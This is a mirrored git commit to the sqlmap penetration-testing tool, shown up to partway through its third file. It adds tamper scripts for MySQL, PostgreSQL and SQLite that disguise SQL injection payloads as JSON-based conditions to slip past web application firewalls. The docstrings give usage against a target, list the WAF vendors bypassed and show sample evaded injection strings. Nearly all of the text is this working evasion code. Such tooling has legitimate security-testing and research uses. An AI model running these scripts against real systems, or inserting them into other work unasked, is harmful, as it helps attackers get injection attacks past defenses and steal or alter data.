mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-11-04 09:57:38 +03:00 
			
		
		
		
	JSON WAF bypass tamper scripts (#5260)
* added JSON waf bypass techniques * added a link for WAF evasion technique blog * Added generic JSON WAF bypass
This commit is contained in:
		
							parent
							
								
									dd4010f16f
								
							
						
					
					
						commit
						12e3ed14ae
					
				| 
						 | 
					@ -789,6 +789,9 @@ x, <deep_freeze(at)mail.ru>
 | 
				
			||||||
zhouhx, <zhouhx(at)knownsec.com>
 | 
					zhouhx, <zhouhx(at)knownsec.com>
 | 
				
			||||||
* for contributing a minor patch
 | 
					* for contributing a minor patch
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Noam Moshe Claroty Team82
 | 
				
			||||||
 | 
					* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py
 | 
				
			||||||
 | 
					
 | 
				
			||||||
# Organizations
 | 
					# Organizations
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Black Hat team, <info(at)blackhat.com>
 | 
					Black Hat team, <info(at)blackhat.com>
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
							
								
								
									
										163
									
								
								tamper/json_waf_bypass_mysql.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										163
									
								
								tamper/json_waf_bypass_mysql.py
									
									
									
									
									
										Normal file
									
								
							| 
						 | 
					@ -0,0 +1,163 @@
 | 
				
			||||||
 | 
					#!/usr/bin/env python
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					"""
 | 
				
			||||||
 | 
					Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
 | 
				
			||||||
 | 
					See the file 'LICENSE' for copying permission
 | 
				
			||||||
 | 
					"""
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
 | 
				
			||||||
 | 
					pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
 | 
				
			||||||
 | 
					import re, random, string
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					from lib.core.enums import PRIORITY
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					__priority__ = PRIORITY.HIGHEST
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def dependencies():
 | 
				
			||||||
 | 
					    pass
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Possible int payloads:
 | 
				
			||||||
 | 
					# 1) JSON_LENGTH()
 | 
				
			||||||
 | 
					# 2) json_depth
 | 
				
			||||||
 | 
					# 3) JSON_EXTRACT()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_int_payload():
 | 
				
			||||||
 | 
					    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
 | 
				
			||||||
 | 
					    return (random.choice(INT_FUNCTIONS))()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Possible STR payloads:
 | 
				
			||||||
 | 
					# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
 | 
				
			||||||
 | 
					# 2) JSON_EXTRACT
 | 
				
			||||||
 | 
					# 3) JSON_QUOTE('null')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_str_payload():
 | 
				
			||||||
 | 
					    print("generate_str_payload")
 | 
				
			||||||
 | 
					    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
 | 
				
			||||||
 | 
					    return (random.choice(STR_FUNCTIONS))()
 | 
				
			||||||
 | 
					    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_random_string(length=15):
 | 
				
			||||||
 | 
					    str_length = random.randint(1,length)
 | 
				
			||||||
 | 
					    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_random_int():
 | 
				
			||||||
 | 
					    return random.randint(2, 10000)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_length_payload():
 | 
				
			||||||
 | 
					    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_depth_paylod():
 | 
				
			||||||
 | 
					    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_quote_payload():
 | 
				
			||||||
 | 
					    var = generate_random_string()
 | 
				
			||||||
 | 
					    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_int_extract_payload():
 | 
				
			||||||
 | 
					    return generate_extract_payload(isString=False)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_str_extract_payload():
 | 
				
			||||||
 | 
					    return generate_extract_payload(isString=True)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_extract_payload(isString=False):
 | 
				
			||||||
 | 
					    key = generate_random_string()
 | 
				
			||||||
 | 
					    if isString:
 | 
				
			||||||
 | 
					        value = generate_random_string()
 | 
				
			||||||
 | 
					        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
 | 
				
			||||||
 | 
					    value = generate_random_int()
 | 
				
			||||||
 | 
					    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_payload(isString, isBrackets):
 | 
				
			||||||
 | 
					    payload = '(' if isBrackets else ""
 | 
				
			||||||
 | 
					    if isString:
 | 
				
			||||||
 | 
					        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
 | 
				
			||||||
 | 
					    else:
 | 
				
			||||||
 | 
					        payload += generate_int_payload()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    return payload
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_random_payload():
 | 
				
			||||||
 | 
					    if random.randint(0,1):
 | 
				
			||||||
 | 
					        return generate_str_payload()
 | 
				
			||||||
 | 
					    return generate_int_payload()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def tamper(payload, **kwargs):
 | 
				
			||||||
 | 
					    """
 | 
				
			||||||
 | 
					        
 | 
				
			||||||
 | 
					    Bypasses generic WAFs using JSON SQL Syntax.
 | 
				
			||||||
 | 
					    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    Tested against:
 | 
				
			||||||
 | 
					        * MySQL v8.0 - however every version after v5.7.8 should work
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    Usage:
 | 
				
			||||||
 | 
					        python3 sqlmap.py <TARGET> --tamper json_waf_bypass_mysql.py
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    Notes:
 | 
				
			||||||
 | 
					        * References: 
 | 
				
			||||||
 | 
					            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
 | 
				
			||||||
 | 
					            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
 | 
				
			||||||
 | 
					        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
 | 
				
			||||||
 | 
					        * JSON techniques were tested againts the following WAF vendors:
 | 
				
			||||||
 | 
					            * Amazon AWS ELB
 | 
				
			||||||
 | 
					            * CloudFlare
 | 
				
			||||||
 | 
					            * F5 BIG-IP
 | 
				
			||||||
 | 
					            * Palo-Alto Next Generation Firewall
 | 
				
			||||||
 | 
					            * Imperva Firewall
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
 | 
				
			||||||
 | 
					          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        Possible int payloads:
 | 
				
			||||||
 | 
					            1) JSON_LENGTH()
 | 
				
			||||||
 | 
					            2) json_depth
 | 
				
			||||||
 | 
					            3) JSON_EXTRACT()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        Possible STR payloads:
 | 
				
			||||||
 | 
					            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
 | 
				
			||||||
 | 
					            2) JSON_EXTRACT
 | 
				
			||||||
 | 
					            3) JSON_QUOTE('null')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
 | 
				
			||||||
 | 
					    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
 | 
				
			||||||
 | 
					    >>> tamper('and 4515=8950--')
 | 
				
			||||||
 | 
					    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
 | 
				
			||||||
 | 
					    """
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    payload = payload.replace(r'%20', " ")
 | 
				
			||||||
 | 
					    #
 | 
				
			||||||
 | 
					    retVal = payload
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    if payload:
 | 
				
			||||||
 | 
					        match = re.search(pattern, payload)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        if match:
 | 
				
			||||||
 | 
					            pre = match.group('pre')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            # Is our payload is a string.
 | 
				
			||||||
 | 
					            isString = pre.startswith("'")
 | 
				
			||||||
 | 
					            isBrackets = pre.startswith("')") or pre.startswith(")")
 | 
				
			||||||
 | 
					            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
 | 
				
			||||||
 | 
					            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        else:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            if payload.lower().startswith("' union"):
 | 
				
			||||||
 | 
					                wafPayload = generate_random_payload()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    return retVal
 | 
				
			||||||
 | 
					
 | 
				
			||||||
							
								
								
									
										237
									
								
								tamper/json_waf_bypass_postgres.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										237
									
								
								tamper/json_waf_bypass_postgres.py
									
									
									
									
									
										Normal file
									
								
							| 
						 | 
					@ -0,0 +1,237 @@
 | 
				
			||||||
 | 
					#!/usr/bin/env python
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					"""
 | 
				
			||||||
 | 
					Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
 | 
				
			||||||
 | 
					See the file 'LICENSE' for copying permission
 | 
				
			||||||
 | 
					"""
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
 | 
				
			||||||
 | 
					pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
 | 
				
			||||||
 | 
					pattern_extract_value = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<extractValueRest>EXTRACTVALUE.*)"
 | 
				
			||||||
 | 
					pattern_when_where = r"(?i)(?P<pre>.*)\s*\b(?P<condition>WHERE|WHEN)\b\s*(?P<rest>.*)"
 | 
				
			||||||
 | 
					pattern_replace_case = r"(?i)(?P<all>\(select.*when\s*\((?P<leftComp>.*?)=(?P<rightComp>.*?)\).*?then\s*(?P<firstCase>\(.*?\))\s*else\s*(?P<secondCase>\(.*?\)).*?end\)\))"
 | 
				
			||||||
 | 
					import re, random, string
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					from lib.core.enums import PRIORITY
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					__priority__ = PRIORITY.HIGHEST
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def dependencies():
 | 
				
			||||||
 | 
					    pass
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Possible int payloads:
 | 
				
			||||||
 | 
					# 1) #>>
 | 
				
			||||||
 | 
					# 2) @>
 | 
				
			||||||
 | 
					# 3) ->> (index)
 | 
				
			||||||
 | 
					# 4) ->> (str)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_int_payload():
 | 
				
			||||||
 | 
					    INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
 | 
				
			||||||
 | 
					    return (random.choice(INT_FUNCTIONS))()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Possible str payloads:
 | 
				
			||||||
 | 
					# 1) ->> (str)
 | 
				
			||||||
 | 
					# 2) ->> (index)
 | 
				
			||||||
 | 
					# 3) #>>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_str_payload():
 | 
				
			||||||
 | 
					    STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
 | 
				
			||||||
 | 
					    return (random.choice(STR_FUNCTIONS))()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_random_string(length=15):
 | 
				
			||||||
 | 
					    str_length = random.randint(1,length)
 | 
				
			||||||
 | 
					    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_random_int():
 | 
				
			||||||
 | 
					    return random.randint(2, 10000)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_element_by_id_payload(isString):
 | 
				
			||||||
 | 
					    random_generator = generate_random_string if isString else generate_random_int
 | 
				
			||||||
 | 
					    values = []
 | 
				
			||||||
 | 
					    for i in range(3):
 | 
				
			||||||
 | 
					        values.append(random_generator())
 | 
				
			||||||
 | 
					    random_index = random.randint(0,2)
 | 
				
			||||||
 | 
					    if isString:
 | 
				
			||||||
 | 
					        return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
 | 
				
			||||||
 | 
					    return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_element_by_id_int_payload():
 | 
				
			||||||
 | 
					    return generate_element_by_id_payload(isString=False)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_element_by_id_str_payload():
 | 
				
			||||||
 | 
					    return generate_element_by_id_payload(isString=True)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_element_by_key_payload(isString):
 | 
				
			||||||
 | 
					    random_generator = generate_random_string if isString else generate_random_int
 | 
				
			||||||
 | 
					    keys = []
 | 
				
			||||||
 | 
					    values = []
 | 
				
			||||||
 | 
					    for i in range(3):
 | 
				
			||||||
 | 
					        keys.append(generate_random_string())  # Json must always have a string as a value
 | 
				
			||||||
 | 
					        values.append(random_generator())
 | 
				
			||||||
 | 
					    random_index = random.randint(0, 2)
 | 
				
			||||||
 | 
					    if isString:
 | 
				
			||||||
 | 
					        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
 | 
				
			||||||
 | 
					    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_element_by_key_int_payload():
 | 
				
			||||||
 | 
					    return generate_element_by_key_payload(isString=False)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_element_by_key_str_payload():
 | 
				
			||||||
 | 
					    return generate_element_by_key_payload(isString=True)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_element_by_hashtag_payload(isString):
 | 
				
			||||||
 | 
					    random_generator = generate_random_string if isString else generate_random_int
 | 
				
			||||||
 | 
					    keys = []
 | 
				
			||||||
 | 
					    values = []
 | 
				
			||||||
 | 
					    for i in range(3):
 | 
				
			||||||
 | 
					        keys.append(generate_random_string())  # Json must always have a string as a value
 | 
				
			||||||
 | 
					        values.append(random_generator())
 | 
				
			||||||
 | 
					    random_index = random.randint(0, 2)
 | 
				
			||||||
 | 
					    if isString:
 | 
				
			||||||
 | 
					        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
 | 
				
			||||||
 | 
					    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_element_by_hashtag_int_payload():
 | 
				
			||||||
 | 
					    return generate_element_by_hashtag_payload(isString=False)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_element_by_hashtag_str_payload():
 | 
				
			||||||
 | 
					    return generate_element_by_hashtag_payload(isString=True)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_json_left_contains_payload():
 | 
				
			||||||
 | 
					    keys = []
 | 
				
			||||||
 | 
					    values = []
 | 
				
			||||||
 | 
					    for i in range(3):
 | 
				
			||||||
 | 
					        keys.append(generate_random_string())  # Json must always have a string as a value
 | 
				
			||||||
 | 
					        values.append(generate_random_int())
 | 
				
			||||||
 | 
					    random_index = random.randint(0, 2)
 | 
				
			||||||
 | 
					    return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_payload(isString, isBrackets):
 | 
				
			||||||
 | 
					    payload = '(' if isBrackets else ""
 | 
				
			||||||
 | 
					    if isString:
 | 
				
			||||||
 | 
					        payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
 | 
				
			||||||
 | 
					    else:
 | 
				
			||||||
 | 
					        payload += generate_int_payload()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    return payload
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_random_payload():
 | 
				
			||||||
 | 
					    if random.randint(0,1):
 | 
				
			||||||
 | 
					        return generate_str_payload()
 | 
				
			||||||
 | 
					    return generate_int_payload()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def tamper(payload, **kwargs):
 | 
				
			||||||
 | 
					    """
 | 
				
			||||||
 | 
					    
 | 
				
			||||||
 | 
					    Bypasses generic WAFs using JSON SQL Syntax.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    Tested against:
 | 
				
			||||||
 | 
					        * PostgreSQL v15.0 - however every version after v9.2 should work
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    Usage:
 | 
				
			||||||
 | 
					        python3 sqlmap.py <TARGET> --tamper json_waf_bypass_postgres.py
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    Notes:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        * References: 
 | 
				
			||||||
 | 
					            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
 | 
				
			||||||
 | 
					            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
 | 
				
			||||||
 | 
					        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
 | 
				
			||||||
 | 
					        * JSON techniques were tested againts the following WAF vendors:
 | 
				
			||||||
 | 
					            * Amazon AWS ELB
 | 
				
			||||||
 | 
					            * CloudFlare
 | 
				
			||||||
 | 
					            * F5 BIG-IP
 | 
				
			||||||
 | 
					            * Palo-Alto Next Generation Firewall
 | 
				
			||||||
 | 
					            * Imperva Firewall
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
 | 
				
			||||||
 | 
					          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        Possible int payloads:
 | 
				
			||||||
 | 
					            1) #>>
 | 
				
			||||||
 | 
					            2) @>
 | 
				
			||||||
 | 
					            3) ->> (index)
 | 
				
			||||||
 | 
					            4) ->> (str)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        Possible str payloads:
 | 
				
			||||||
 | 
					            1) ->> (str)
 | 
				
			||||||
 | 
					            2) ->> (index)
 | 
				
			||||||
 | 
					            3) #>>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
 | 
				
			||||||
 | 
					    ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
 | 
				
			||||||
 | 
					    >>> tamper('and 4515=8950')
 | 
				
			||||||
 | 
					    '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
 | 
				
			||||||
 | 
					    """
 | 
				
			||||||
 | 
					    payload = payload.replace(r'%20', " ")  # Fix regex for later
 | 
				
			||||||
 | 
					    payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs
 | 
				
			||||||
 | 
					    bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    if bad_string_match:
 | 
				
			||||||
 | 
					        payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    retVal = payload
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    if payload:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        match = re.search(pattern, payload)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        if match:
 | 
				
			||||||
 | 
					            pre = match.group('pre')
 | 
				
			||||||
 | 
					            # Is our payload a string.
 | 
				
			||||||
 | 
					            isString = pre.startswith("'")
 | 
				
			||||||
 | 
					            isBrackets = pre.startswith("')") or pre.startswith(")")
 | 
				
			||||||
 | 
					            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
 | 
				
			||||||
 | 
					            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads
 | 
				
			||||||
 | 
					            wafPayload = generate_random_payload()
 | 
				
			||||||
 | 
					            retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        else:
 | 
				
			||||||
 | 
					            extract_value_match = re.search(pattern_extract_value, payload)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            if extract_value_match:  # Replaces extractvalue because many WAFs target it
 | 
				
			||||||
 | 
					                wafPayload = generate_random_payload()
 | 
				
			||||||
 | 
					                retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            else:
 | 
				
			||||||
 | 
					                condition_match = re.match(pattern_when_where, payload)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					                if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords
 | 
				
			||||||
 | 
					                    wafPayload = generate_random_payload()
 | 
				
			||||||
 | 
					                    retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        case_match = re.search(pattern_replace_case, retVal)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        if case_match:  # Replaces case statements because many WAFs target this syntax
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            # Check if the case statement expects the left or right option
 | 
				
			||||||
 | 
					            if case_match.group("leftComp") == case_match.group("rightComp"):
 | 
				
			||||||
 | 
					                retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            else:
 | 
				
			||||||
 | 
					                retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    return retVal
 | 
				
			||||||
 | 
					
 | 
				
			||||||
							
								
								
									
										178
									
								
								tamper/json_waf_bypass_sqlite.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										178
									
								
								tamper/json_waf_bypass_sqlite.py
									
									
									
									
									
										Normal file
									
								
							| 
						 | 
					@ -0,0 +1,178 @@
 | 
				
			||||||
 | 
					#!/usr/bin/env python
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					"""
 | 
				
			||||||
 | 
					Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
 | 
				
			||||||
 | 
					See the file 'LICENSE' for copying permission
 | 
				
			||||||
 | 
					"""
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
 | 
				
			||||||
 | 
					pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
 | 
				
			||||||
 | 
					import re, random, string
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					from lib.core.enums import PRIORITY
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					__priority__ = PRIORITY.HIGHEST
 | 
				
			||||||
 | 
					DEBUG = False
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def dependencies():
 | 
				
			||||||
 | 
						pass
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Possible int payloads:
 | 
				
			||||||
 | 
					# 1) JSON_LENGTH()
 | 
				
			||||||
 | 
					# 2) json_depth
 | 
				
			||||||
 | 
					# 3) JSON_EXTRACT()
 | 
				
			||||||
 | 
					# 3) JSON_EXTRACT operator
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_int_payload():
 | 
				
			||||||
 | 
